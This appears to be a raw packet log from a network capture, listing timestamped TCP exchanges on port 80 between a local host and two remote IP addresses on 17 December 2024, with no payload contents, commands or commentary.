Dec 17, 2024 22:06:38.847532988 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.847578049 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.848223925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.848272085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.849015951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.849057913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.849481106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.849493980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.849526882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.850615978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.850663900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.850790977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.850836039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.851628065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.851672888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.852174044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.852221012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.852837086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.852888107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.853034019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.853077888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.854043007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.854068995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.854104996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.854119062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.854768991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.854815006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.854926109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.854969978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.855684042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.855731010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.855840921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.855881929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.856759071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.856806040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.856921911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.856966972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.857745886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.857791901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.858426094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.858473063 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.858769894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.858813047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.858968019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.859009981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.859812975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.859827995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.859855890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.859869003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.860884905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.860933065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.861056089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.861103058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.862114906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.862162113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.862291098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.862333059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.863147020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.863192081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.863328934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.863373995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.864186049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.864228010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.864376068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.864415884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.865192890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.865247011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.865392923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.865433931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.866241932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.866300106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.866626978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.866672039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.867120981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.867165089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.003128052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.003361940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.003449917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.003669977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.003726006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.003792048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.004740953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.004797935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.004841089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.005739927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.005805969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.006309986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.006362915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.006501913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.006757975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.007183075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.007227898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.007416010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.007486105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.008328915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.008384943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.008394957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.008440018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.009388924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.009481907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.009632111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.009679079 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.009685040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.009752989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.010695934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.010941982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.010993004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.011939049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.012001038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.012051105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.012871981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.012919903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.012940884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.013885975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.013951063 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.014218092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.014360905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.014978886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.015028000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.015095949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.015141010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.016026974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.016190052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.016241074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.017199993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.017277002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.017311096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.017364979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.018171072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.018296003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.018343925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.019275904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.019345045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.019392967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.020313025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.020324945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.020360947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.021369934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.021542072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.022485971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.022497892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.022538900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.022582054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.022624016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.023583889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.023701906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.023756027 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.024705887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.024768114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.025259972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.025316954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.025670052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.025722980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.025768042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.026782990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.026921034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.026968002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.027750015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.027792931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.028084993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.028839111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.028884888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.029035091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.029133081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.029913902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.029988050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.030019045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.030205965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.031076908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.031160116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.031399012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.031449080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.032103062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.032150030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.032228947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.032272100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.033121109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.033252001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.033297062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.034265041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.034288883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.034336090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.035242081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.035290956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.035363913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.035412073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.036294937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.036355019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.036420107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.036464930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.037565947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.037587881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.037616014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.037636995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.038568974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.038619995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.038646936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.038688898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.039470911 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.039515972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.039547920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.040538073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.040584087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.040683031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.041369915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.041872978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.041887045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.041929007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.044570923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.044584990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.044595003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.044606924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.044621944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.044651031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053344011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053451061 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053467035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053531885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053544998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053565979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053577900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053589106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053601027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053612947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053637028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053700924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053749084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053761005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053772926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053785086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053797007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053816080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053844929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.053932905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.053981066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.054014921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054028034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054039001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054071903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.054095984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.054116964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054127932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054169893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.054611921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054821968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.054872990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.055845022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.055985928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.056106091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.056420088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.056881905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.056941986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.057032108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.057080984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.057777882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.057826042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.057893991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.058094978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.058732986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.058779001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.195362091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.195450068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.195456982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.195499897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.195622921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.195669889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.195902109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.195950985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.196576118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.196620941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.196688890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.196732998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.197741032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.197751999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.197788000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.198478937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.198525906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.198617935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.198661089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.199600935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.199649096 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.199806929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.199865103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.200552940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.200598955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.200850010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.200895071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.201627970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.201674938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.201952934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.201998949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.202229023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.202275991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.203519106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.203566074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.204001904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.204046011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.204145908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.204189062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.204288960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.204335928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.205185890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.205234051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.205265045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.205307007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.205714941 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:39.206001043 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:39.206260920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.206307888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.206373930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.206415892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.207320929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.207365036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.207416058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.207453966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.208411932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.208455086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.208657026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.208702087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.209456921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.209511995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.209733963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.209820986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.210588932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.210601091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.210634947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.211570024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.211617947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.211899996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.211945057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.212634087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.212685108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.212754011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.212800026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.213828087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.213886023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.214309931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.214375019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.214741945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.214786053 CET	49825	80	192.168.2.4	31.41.244.11
